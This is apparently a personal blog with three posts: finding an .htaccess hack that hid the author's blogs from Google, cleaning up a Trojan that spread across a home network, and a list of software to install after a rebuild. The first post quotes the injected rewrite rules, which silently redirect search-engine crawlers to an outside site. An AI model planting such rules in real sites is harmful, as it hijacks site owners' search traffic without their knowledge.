So much for a quiet Paddy’s Day.

As The Old Fart wrote yesterday, we had a bit of trouble on the server.  He claimed credit for finding the cause, but he really hasn’t a clue.

The symptom of the problem was that the blogs that I host seemed to vanish off Google’s radar.  Any search for example for ‘head rambles’ would only produce old results, while the newer material just failed to appear at all.

I ran the usual tests, and Google reported that the sites were fine and were being spidered on a regular and frequent basis, so what the hell was going on?

I checked the logs for a couple of the blogs and found some very unusual activity.  There was indeed a phenomenal number of visits to the sites from Google, but they were successfully finding files and directories that didn’t exist!

How do you successfully find something that doesn’t exist?  For a while I was baffled.

I think it was more intuition and luck than logic, but I checked the .htaccess files and there it was in all its glory – a hack.

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://doormoney.biz/ [R=301,L]

Somehow [and I still don’t know quite how] they managed to modify each .htaccess file and add those lines. 

The upshot was that Google was visiting what it thought was my sites, but in fact was that other site, which as far as I can make out is a warez site.

Needless to say, I removed the lines and locked down the files, and immediately Google started getting a 404 [not found] instead of a 200 [successful] so that solved that.

Since then, one of my Elite Bloggers posted an article, and it appeared within fifteen minutes in Google

I did a wee search around the Internet to see if this was a common hack and it is not unknown.  I found a couple of interesting articles on it here and here.

So someone else had a wasted Paddy’s Day too?

I am not alone.

Every now and then, a nightmare scenario pops its head above the parapet.

For the last couple of days I have been suffering an army of them.

The first sign was probably a couple of weeks ago when a six week old laptop hung up on me.  I managed to revive it and thought no more about it.

Two days ago, the same laptop started crashing.  It would work for a while, then hang for a minute or two before descending onto the Blue Screen of Death.

Once again, I managed to revive it, but my suspicions were more than aroused.  I ran a multitude of diagnostics which all came up clean.  I then ran a deep anti-virus scan and that is where I found the cause – a deeply embedded Trojan.

You may ask why I didn’t do a scan at the start?  In fact, all my machines run the usual anti-virus, anti-Trojan, anti-spyware and firewall software, but this one had somehow slipped through.

About three weeks ago, I revived an old PC that hadn’t been used in about two years.  I needed it for a single function, for which it was ideal.  Naturally, its virus signatures were two years out of date, and I updated them immediately, but my theory is that the Trojan snuck in during the update period.  It then spread through the network, infecting my laptop and causing the resulting havoc.  I still don’t know how it breached the defences, which are normally very tight.

The obvious thing to do then is to run deep scans on all the machines on the network, which I did, and this resulted in another laptop failing completely.  Obviously the Trojan had infected a system file and the AV had then removed it, rendering the whole system unstable.

So, to date, I have had to reformat and reinstall on two machines.  This machine that I am currently using is now up to about 80% strength.  There are a load of packages yet to be installed, and I have then to customise the whole interface to my personal preferences.

The other laptop has a slightly dodgy CD drive which means constantly rebooting to get the drive to run properly.  I am currently trying to load the OS on that one, and will have to reload all the software if and when that is successful.

The other two machines seem to have survived the attack, and are now clean, having been thoroughly disinfected.

My problem now is that if I miss any element of the Trojan, the fucking thing is going to replicate, and I will be back to square one.

I can’t win.

I have had the misfortune to have had some PC trouble lately.

In each case, it involved reformatting the hard disk and installing everything from scratch.

I find that it can greatly benefit a machine to reformat and reinstall about once a year anyway, to clear out all the crap that accumulates, like redundant DLLs and fonts, not to mention tidying the registry.

When it comes to a rebuild, I have a list of absolute essentials that have to be installed as soon as the machine is running.

First is the Anti Virus.  I use AVG, as I find it is well supported and consistently gets good write-ups.  I have never had any problems with it anyway.

Next comes Firefox and Thunderbird.  I refuse, on principle to use Internet Explorer or Outlook.  I hate them.

WinRAR is next, as a lot of software installations require decompressing, and I find WinRAR to be the most versatile.

Now that the essentials are in, what comes next?

WampServer is an essential tool of the trade.  The ability to run PHP and MySQL on a local machine is an absolute essential for me, and I just love that programme for its simplicity, though it can be a bit of a pain tweaking the configuration to suit my needs.

One of the worst bits of software ever invented has to be Notepad.  As a default text editor, it is utterly useless.  For years now, I have been using Textpad which is one of those programs that is as simple or as complex as you want it to be.  An amazing piece of work.

Another utility I like is DAEMON Tools Lite.  This is a neat little application that you can use to mount ISO files into a virtual CD ROM.  Storing ISO files is a hell of a lot easier than storing CDs or DVDs!

Once I have that lot up and running, I’m just about ready to install software.

So what do you consider to be essential?